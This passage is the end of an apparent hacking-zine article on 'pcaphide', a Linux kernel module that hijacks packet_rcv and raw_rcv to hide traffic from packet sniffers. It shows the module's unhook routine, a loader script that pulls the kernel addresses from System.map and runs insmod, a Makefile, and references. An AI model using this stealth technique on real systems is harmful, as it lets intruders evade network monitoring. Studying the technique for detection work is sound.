    memcpy((char *)pr, pr_orig, CODESIZE);
    memcpy((char *)rr, rr_orig, CODESIZE);
    HIJACK_UNLOCK;
    
    unlock_kernel();
}
<-->

<++> pcaphide/loader.sh
#!/bin/sh
#  Written by  grem, 30th June 2003
#  Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
        echo "Use: $0 <System.map>";
        exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
        PR="00000000"
fi
if [ "$RR" = "" ]; then
        RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
<-->

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
	$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
	rm -rf *.o
	rm -rf ./*~
<-->


------[ References

This appendix contains a list of references used in writing this article.

 [1]  The tcpdump group
      http://www.tcpdump.org
 [2]  The Packet Factory
      http://www.packetfactory.net
 [3]  My network tools page -
      http://uqconnect.net/~zzoklan/software/#net_tools
 [4]  Silvio Cesare's Kernel Function Hijacking article
      http://vx.netlux.org/lib/vsc08.html
 [5]  Man pages for:
    - raw (7)
    - packet (7)
    - tcpdump (1)
 [6]  Linux kernel source files. In particular:
    - net/packet/af_packet.c     (for  packet_rcv())
    - net/ipv4/raw.c             (for  raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
 [7] Harald Welte's Journey of a packet through the Linux 2.4 network
     stack
     http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
 [8] The Netfilter documentation page
     http://www.netfilter.org/documentation
 [9] Phrack 55 - File 12 -
     http://www.phrack.org/show.php?p=55&a=12
 [A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
 [B] Inside the Linux Packet Filter. A Linux Journal article
     http://www.linuxjournal.com/article.php?sid=4852


|=[ EOF ]=---------------------------------------------------------------=|